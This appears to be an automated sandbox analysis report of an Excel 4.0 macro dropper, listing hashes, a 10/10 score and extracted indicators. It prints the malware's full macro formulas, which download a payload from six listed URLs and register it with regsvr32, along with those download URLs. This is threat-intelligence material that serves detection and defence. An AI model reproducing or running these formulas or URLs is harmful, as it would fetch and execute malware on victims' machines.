General

  • Target

    7bc1973c947b9d36a72e86ea4d922c14abbfd356c67bd69b5c6644497fd3587f

  • Size

    46KB

  • Sample

    241120-dth83szgpr

  • MD5

    7b46d495e4e96202a1705c362e957e9f

  • SHA1

    2a95df1280b7d7f9052e0e080e10700989e717c6

  • SHA256

    7bc1973c947b9d36a72e86ea4d922c14abbfd356c67bd69b5c6644497fd3587f

  • SHA512

    0e5f0e5977672a98d44d1332c086e93346fb238cb0519497b2f857561cc0772995563d5e7489b9df19afdd84c551146c16b4585539363bb94a580d264845a3c1

  • SSDEEP

    768:31m2o0pOODOevZCwrvtTzdDTKufT9nz0LTyY1NiMZFYpvrLeci3cr+Uh0Vf1V5f+:31HoadD3tT5fTR4Lh1NisFYBc3cr+Uqu

Score
10/10

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

http://rosywhitecleaningsolution.com/wp-admin/PqMw6fND8Bb1I4VPR10/

http://havilaholuemglobal.com/dofz29/ymIfCcEL8I5kjA6E/

http://www.floresguitarinstruction.com/wp-admin/jWlCX/

http://www.drcc.co.za/restoredcontent/nAKvnbRpazx7c/

http://aopda.org/wp-content/uploads/RDL75PME7OKHk4f/

https://chera.co.kr/wp-includes/i2nnUkDXZ/

Attributes
  • formulas

    =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://rosywhitecleaningsolution.com/wp-admin/PqMw6fND8Bb1I4VPR10/","..\sei.ocx",0,0) =IF('EFALGV'!D10<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://havilaholuemglobal.com/dofz29/ymIfCcEL8I5kjA6E/","..\sei.ocx",0,0)) =IF('EFALGV'!D12<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.floresguitarinstruction.com/wp-admin/jWlCX/","..\sei.ocx",0,0)) =IF('EFALGV'!D14<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.drcc.co.za/restoredcontent/nAKvnbRpazx7c/","..\sei.ocx",0,0)) =IF('EFALGV'!D16<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://aopda.org/wp-content/uploads/RDL75PME7OKHk4f/","..\sei.ocx",0,0)) =IF('EFALGV'!D18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://chera.co.kr/wp-includes/i2nnUkDXZ/","..\sei.ocx",0,0)) =IF('EFALGV'!D20<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe /s ..\sei.ocx") =RETURN()

Extracted

Language
xlm4.0
Source
URLs
xlm40.dropper

http://rosywhitecleaningsolution.com/wp-admin/PqMw6fND8Bb1I4VPR10/

xlm40.dropper

http://havilaholuemglobal.com/dofz29/ymIfCcEL8I5kjA6E/

xlm40.dropper

http://www.floresguitarinstruction.com/wp-admin/jWlCX/

xlm40.dropper

http://www.drcc.co.za/restoredcontent/nAKvnbRpazx7c/

xlm40.dropper

http://aopda.org/wp-content/uploads/RDL75PME7OKHk4f/

Targets

    • Target

      7bc1973c947b9d36a72e86ea4d922c14abbfd356c67bd69b5c6644497fd3587f

    • Size

      46KB

    • MD5

      7b46d495e4e96202a1705c362e957e9f

    • SHA1

      2a95df1280b7d7f9052e0e080e10700989e717c6

    • SHA256

      7bc1973c947b9d36a72e86ea4d922c14abbfd356c67bd69b5c6644497fd3587f

    • SHA512

      0e5f0e5977672a98d44d1332c086e93346fb238cb0519497b2f857561cc0772995563d5e7489b9df19afdd84c551146c16b4585539363bb94a580d264845a3c1

    • SSDEEP

      768:31m2o0pOODOevZCwrvtTzdDTKufT9nz0LTyY1NiMZFYpvrLeci3cr+Uh0Vf1V5f+:31HoadD3tT5fTR4Lh1NisFYBc3cr+Uqu

    Score
    10/10
    • Process spawned unexpected child process

      This typically indicates the parent process was compromised via an exploit or macro.

MITRE ATT&CK Enterprise v15

Tasks